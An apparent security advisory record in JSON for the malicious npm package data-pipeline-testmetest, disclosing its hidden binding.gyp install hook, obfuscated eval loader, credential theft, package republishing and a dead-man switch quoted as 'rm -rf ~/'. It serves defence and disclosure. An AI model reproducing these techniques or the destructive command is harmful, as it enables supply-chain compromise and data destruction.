The payload steals GitHub, npm, PyPI, RubyGems and cloud credentials, commits them to a public repository it creates in the victim's GitHub account (description `project-utils`), and republishes the victim's packages with the same hook. Published by npm account `testnewtestme2` on 2026-10-21.\n\nIf it finds a GitHub token it installs a `net-health-checker` user service that runs `rm -rf ~/` once the token is revoked. Remove `~/.local/bin/net-health-checker.sh` and its systemd unit or LaunchAgent before revoking the token, then rotate all reachable credentials.\n\n---\n_-= Per source details.

This provides install-time code execution without declaring a lifecycle script. index.js is not readable source for the advertised 'test pipeline utilities' purpose: its top-level body is `eval(ROT13(charCodeArray))`, where the decoded code constructs an AES-128-GCM decipher with hardcoded hex key/IV/authTag and executes the resulting ~1.8MB plaintext. The package also declares `bun ^1.2.18` as a runtime dependency, pulling in the Bun runtime installer alongside the obfuscated loader. The combination of a binding.gyp whose only purpose is to run an embedded obfuscated loader, a multi-layer ROT13+AES-GCM-wrapped eval payload with no legible source, and an unrelated alternate-runtime dependency is a loader/dropper structure, not a utility library.\n","affected":[{"package":{"name":"data-pipeline-testmetest","ecosystem":"npm"},"versions":["2.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"binding.gyp","sha256":"fda4df745212660faa56de9d1f20739402b418aab082401c38a4d3c1304123d3","tlsh":"e9c08c2cb838094539d91c3491a88402a4b242a3485a2d41fade60286fb841f288cb9d"},{"path":"index.js","sha256":"da7dd0aba3db723f5e30ef7962a3e3f50a91944d533ae320bccb36d3419caf5b","tlsh":"fa565162eb8a0760d5c80cf6b399f61be490e99f38b173a8fbd25667fd25211c4257c0"},{"path":"package.json","sha256":"91be20ca60b2a23f1b6cc54bf1e4b773d1399ee2de50d51f2bb461c09a447c2e","tlsh":"70c022309812d07310c902a02cb6400366524d2b0104bc18a3833818495d2b7b4ff30f"}],"package_integrity":[{"filename":"data-pipeline-testmetest-2.0.1.tgz","hashes":{"sha1":"3f27638f0400e6e4fcbb6c4656142d976d68a671","sha512_sri":"sha512-hUYVvLAMaS76quS0nWuZ478Q1Z22BcXwMIf6Qa6S/xS8cBnf432gQBlY1Vikkc5DPpeq00OMGKzUwVzPpA6IDQ=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/data-pipeline-testmetest/v/2.0.1"}],"database_specific":{"iocs":{"files":[{"digests":{"sha256":"fda4df745212660faa56de9d1f20739402b418aab082401c38a4d3c1304123d3"},"note":"hidden install hook: node-gyp runs `env node index.js` while configuring the build","paths":["binding.gyp"],"source":"PACKAGE_ARCHIVE"},{"digests":{"sha256":"da7dd0aba3db723f5e30ef7962a3e3f50a91944d533ae320bccb36d3419caf5b"},"note":"obfuscated loader; decrypts the payload and pipes it into `bun run -`","paths":["index.js"],"source":"PACKAGE_ARCHIVE"},{"digests":{"sha256":"47de657aa7e1bc662198eda88a94dd363fa9fa5821e4f2d9d94d977d5ee68e72"},"note":"decrypted 939 KB Bun payload: credential theft, GitHub exfiltration, package republishing","source":"IN_MEMORY"},{"digests":{"sha256":"46ebfd3de6c6a775f1d33c1aa4d7ca971a91a010a39b8146edabfe4201d19a39"},"note":"dead-man switch: runs `rm -rf ~/; rm -rf ~/Documents` when the stolen GitHub token is revoked","paths":["~/.local/bin/net-health-checker.sh"],"source":"DROPPED"}]},"malicious-packages-origins":[{"id":"IN-MAL-2026-021565","import_time":"2026-10-22T06:30:23.383601196Z","modified_time":"2026-10-22T06:10:06Z","sha256":"8975c3fc55ad84db15b5c688966a64a3befb41447d1c6c1ad0acf50df93fe409","source":"amazon-inspector","versions":["2.0.1"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"Robin Frehner, Protet","contact":["https://protet.io","mailto:hello@protet.io"],"type":"FINDER"}]}
